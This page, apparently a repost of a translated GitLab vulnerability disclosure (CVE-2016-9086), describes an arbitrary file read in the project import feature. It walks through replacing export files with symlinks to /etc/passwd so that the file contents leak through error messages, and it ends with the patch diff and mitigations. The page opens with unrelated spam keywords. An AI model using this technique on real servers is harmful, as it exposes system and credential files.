日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
GitLab的文件讀取問題導(dǎo)致的RCE漏洞

漏洞概述

GitLab CE/EE的8.9、8.10、8.11、8.12以及8.13版本中存在任意文件讀取漏洞,攻擊者或可利用這個漏洞來獲取應(yīng)用程序中敏感文件的訪問權(quán)。在獲取到這些機(jī)密數(shù)據(jù)之后,攻擊者將可以通過執(zhí)行惡意命令來訪問應(yīng)用程序服務(wù)器。

8.9、8.10、8.11和8.12版本中漏洞的CVSS(通用漏洞評分系統(tǒng))評分為8.4分(CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H)。而8.13版本中相同漏洞的CVSS評分為9.0分,因?yàn)樵谠摪姹局泄粽咄耆梢栽跓o需獲得管理員權(quán)限的情況下利用這個漏洞(CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)。在所有版本的攻擊場景中,GitLab實(shí)例需要導(dǎo)入并啟用GitLab的輸出文件功能。

漏洞分析

GitLab的輸出上傳功能中存在一個漏洞,這個漏洞將允許攻擊者讀取GitLab實(shí)例中的任意文件,這個漏洞主要是由JSON.parse中的錯誤操作而導(dǎo)致的,因?yàn)镴SON.parse中有可能會包含或引用GitLab導(dǎo)出文件的符號鏈接。當(dāng)我準(zhǔn)備開始對這個功能進(jìn)行分析之前,我創(chuàng)建了一個演示倉庫,并且還通過項(xiàng)目的管理員面板導(dǎo)出了這個GitLab實(shí)例。當(dāng)我們創(chuàng)建了一個新的項(xiàng)目之后,我們就可以直接導(dǎo)入這些GitLab文件了。演示站點(diǎn)為https://gitlab.com/projects/new(點(diǎn)擊”GitLab導(dǎo)出”)。通常情況下,一個簡單的GitLab導(dǎo)出文件一般包含下列文件:

 
 
 
 
  1. export $ ls -lash
  2. total 48
  3.  8 -rw-r--r--@   1 jobert  staff     5B Oct 25 19:52 VERSION
  4.  8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
  5.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json

當(dāng)我們再次加載之前導(dǎo)出的GitLab文件時,將會發(fā)生以下幾件事情。首先,系統(tǒng)會等待文件寫入磁盤(針對大型倉庫而言);其次,系統(tǒng)會根據(jù)VERSION文件來檢測導(dǎo)入項(xiàng)目的版本;最后,GitLab會根據(jù)project.json文件來創(chuàng)建一個新的Project實(shí)例。

這里的第一步其實(shí)并不重要,所以我們現(xiàn)在直接來看一看第二步中系統(tǒng)所執(zhí)行的相關(guān)代碼(Gitlab::ImportExport::VersionChecker,第12-18行):

 
 
 
 
  1. def check!
  2.   version = File.open(version_file, &:readline)
  3.   verify_version!(version)
  4. rescue => e
  5.   shared.error(e)
  6.   false
  7. end

請各位注意第13行的代碼,它將會打開文件并調(diào)用readline方法,而這個方法將會返回穩(wěn)健的第一行數(shù)據(jù)。第16行代碼會捕獲系統(tǒng)運(yùn)行過程中的所有異常,并將異常信息壓入errors棧。所有的這些錯誤都將被發(fā)送至前端。接下來,讓我們看一看該文件中的第27-31行代碼:

 
 
 
 
  1. if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
  2.   raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
  3. else
  4.   true
  5. end

這也就意味著,如果文件版本不正確的話,系統(tǒng)會返回一個異常,異常信息中會包含這份GitLab導(dǎo)出文件的版本信息。我們解壓GitLab的導(dǎo)出文件,用一個符號鏈接替換其中的VERSION文件,然后再重新進(jìn)行壓縮。tar文件的結(jié)構(gòu)如下所示:

 
 
 
 
  1. export $ ls -lash
  2.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 VERSION -> /etc/passwd
  3.  8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
  4.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json

在創(chuàng)建好了新的GitLab導(dǎo)出文件之后(在導(dǎo)出目錄中執(zhí)行tar -czvf test.tar.gz),我們就可以加載這份新的GitLab文件了。加載成功之后,因?yàn)槲募嬖诎姹惧e誤,所以系統(tǒng)將會拋出一個異常,而GitLab實(shí)例將會返回第一行錯誤信息:

但是,這種方法只能讀取某個文件的第一行數(shù)據(jù)。這的確很有意思,但這肯定不是我們想要的,我們想要讀取文件的完整內(nèi)容。于是我們繼續(xù)分析,看看是否能找到讀取完整文件的方法。正如我之前所提到的,導(dǎo)入過程中的第三步就是創(chuàng)建一個新的Project實(shí)例。此時,下列代碼將會被執(zhí)行(Gitlab::ImportExport::ProjectTreeRestorer,第11-22行):

 
 
 
 
  1. def restore
  2.   json = IO.read(@path)
  3.   tree_hash = ActiveSupport::JSON.decode(json)
  4.   project_members = tree_hash.delete('project_members')
  5.   ActiveRecord::Base.no_touching do
  6.     create_relations
  7.   end
  8. rescue => e
  9.   shared.error(e)
  10.   false
  11. end

這段代碼采用的結(jié)構(gòu)與負(fù)責(zé)進(jìn)行版本檢測的代碼結(jié)構(gòu)非常相似,第13-18行代碼可以捕獲異常,然后將錯誤信息壓入errors棧。ActiveSupport會使用JSON.parse來解碼JSON數(shù)據(jù),如果解碼失敗的話,系統(tǒng)會將待解碼的字符串包含在錯誤信息中一起返回。這也就意味著,如果我們可以讓解碼器拋出一個異常的話,我們就可以讀取穩(wěn)健的內(nèi)容了。其實(shí)也并不難,先來看看下面給出的這個文件結(jié)構(gòu):

 
 
 
 
  1. export $ ls -lash
  2.  8 -rw-r--r--@   1 jobert  staff    11B Oct 25 20:43 VERSION
  3.  8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
  4.  8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json -> /etc/passwd

在這個例子中,project.json文件是一個指向/etc/passwd的符號鏈接。第14行代碼可以調(diào)用IO.read方法來讀取文件內(nèi)容。很明顯,/etc/passwd文件中并不包含有效的JSON數(shù)據(jù)。因此,系統(tǒng)肯定會拋出一個異常,而異常信息中將會包含/etc/passwd文件的內(nèi)容。使用tar來對文件進(jìn)行壓縮,然后準(zhǔn)備上傳[演示文件下載-test.tar.gz(F130233)]。文件導(dǎo)入成功之后,我們就可以從錯誤信息中獲取鏈接文件的內(nèi)容了:

需要聲明的是,這并不是我自己的/etc/passwd文件。下面給出的是gitlab.com中/etc/passwd文件的最后五行數(shù)據(jù):

 
 
 
 
  1. alejandro:x:1117:1117::/home/alejandro:/bin/bash
  2. prometheus:x:999:999::/opt/prometheus:/bin/false
  3. gitlab-monitor:x:998:998::/opt/gitlab-monitor:/bin/false
  4. postgres:x:116:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
  5. brian:x:1118:1118::/home/brian:/bin/bash

因此,攻擊者同樣可以利用這種方法來讀取GitLab中Rails項(xiàng)目的機(jī)密文件。需要注意的是,這個問題也將導(dǎo)致RCE漏洞。除此之外,攻擊者甚至還可以通過這個漏洞拿到GitLab的shell,并訪問所有的代碼倉庫。

附件下載

1. F130233: test.tar.gz

2. F130234: Screen_Shot_2016-10-25_at_20.55.36.png

3. F130235: Screen_Shot_2016-10-25_at_19.28.51.png

漏洞修復(fù)情況

下面給出的是我們所采用的漏洞修復(fù)代碼,感興趣的用戶可以自己動手實(shí)現(xiàn)一下:

 
 
 
 
  1. diff --git a/lib/gitlab/import_export/file_importer.rb b/lib/gitlab/import_export/file_importer.rb
  2. index 113895b..ffd1711 100644
  3. --- a/lib/gitlab/import_export/file_importer.rb
  4. +++ b/lib/gitlab/import_export/file_importer.rb
  5. @@ -43,6 +43,14 @@ module Gitlab
  6.          raise Projects::ImportService::Error.new("Unable to decompress #{@archive_file} into #{@shared.export_path}") unless result
  7. +        remove_symlinks!
  8. +      end
  9. +
  10. +      def remove_symlinks!
  11. +        Dir["#{@shared.export_path}/**/*"].each do |path|
  12. +          FileUtils.rm(path) if File.lstat(path).symlink?
  13. +        end
  14. +
  15.          true
  16.        end
  17.      end
  18. diff --git a/lib/gitlab/import_export/project_tree_restorer.rb b/lib/gitlab/import_export/project_tree_restorer.rb
  19. index 7cdba88..c551321 100644
  20. --- a/lib/gitlab/import_export/project_tree_restorer.rb
  21. +++ b/lib/gitlab/import_export/project_tree_restorer.rb
  22. @@ -9,8 +9,14 @@ module Gitlab
  23.        end
  24.        def restore
  25. -        json = IO.read(@path)
  26. -        [@tree_hash](/tree_hash) = ActiveSupport::JSON.decode(json)
  27. +        begin
  28. +          json = IO.read(@path)
  29. +          [@tree_hash](/tree_hash) = ActiveSupport::JSON.decode(json)
  30. +        rescue => e
  31. +          Rails.logger.error("Import/Export error: #{e.message}")
  32. +          raise Gitlab::ImportExport::Error.new('Incorrect JSON format')
  33. +        end
  34. +
  35.          [@project_members](/project_members) = [@tree_hash](/tree_hash).delete('project_members')
  36.          ActiveRecord::Base.no_touching do
  37. diff --git a/lib/gitlab/import_export/version_checker.rb b/lib/gitlab/import_export/version_checker.rb
  38. index fc08082..bd3c3ee 100644
  39. --- a/lib/gitlab/import_export/version_checker.rb
  40. +++ b/lib/gitlab/import_export/version_checker.rb
  41. @@ -24,12 +24,19 @@ module Gitlab
  42.        end
  43.        def verify_version!(version)
  44. -        if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
  45. +        if different_version?(version)
  46.            raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
  47.          else
  48.            true
  49.          end
  50.        end
  51. +
  52. +      def different_version?(version)
  53. +        Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
  54. +      rescue => e
  55. +        Rails.logger.error("Import/Export error: #{e.message}")
  56. +        raise Gitlab::ImportExport::Error.new('Incorrect VERSION format')
  57. +      end
  58.      end
  59.    end
  60.  end

我們已經(jīng)發(fā)布了針對該漏洞的修復(fù)補(bǔ)丁和安全公告,感興趣的用戶可以訪問并了解詳情。地址:https://about.gitlab.com/2016/11/02/cve-2016-9086-patches/

我們強(qiáng)烈建議使用了上述版本GitLab的用戶盡快安裝更新補(bǔ)丁。請注意,GitLab 8.9.x版本目前還沒有可用的更新補(bǔ)丁。使用了8.9.0-8.9.11版本的用戶雖然沒有可用的更新補(bǔ)丁,但是可以通過下面給出的解決方案來緩解這個漏洞的影響。

漏洞緩解方案

禁用項(xiàng)目的導(dǎo)入/導(dǎo)出功能

使用管理員賬號登錄GitLab,然后執(zhí)行下列操作:

1. 選擇“Admin Area”;

2. 點(diǎn)擊“Settings”

3. 在“Import Sources”面板中禁用“GitLab export”選項(xiàng)

4. 點(diǎn)擊“保存”

驗(yàn)證操作是否成功:

1. 使用瀏覽器以普通用戶身份登錄GitLab;

2. 點(diǎn)擊“Projects”;

3. 點(diǎn)擊“New Project”

4. 輸入項(xiàng)目名稱;

5. 確保界面中沒有顯示“GitLab export”選項(xiàng)


新聞名稱:GitLab的文件讀取問題導(dǎo)致的RCE漏洞
分享鏈接:http://www.dlmjj.cn/article/ccssjji.html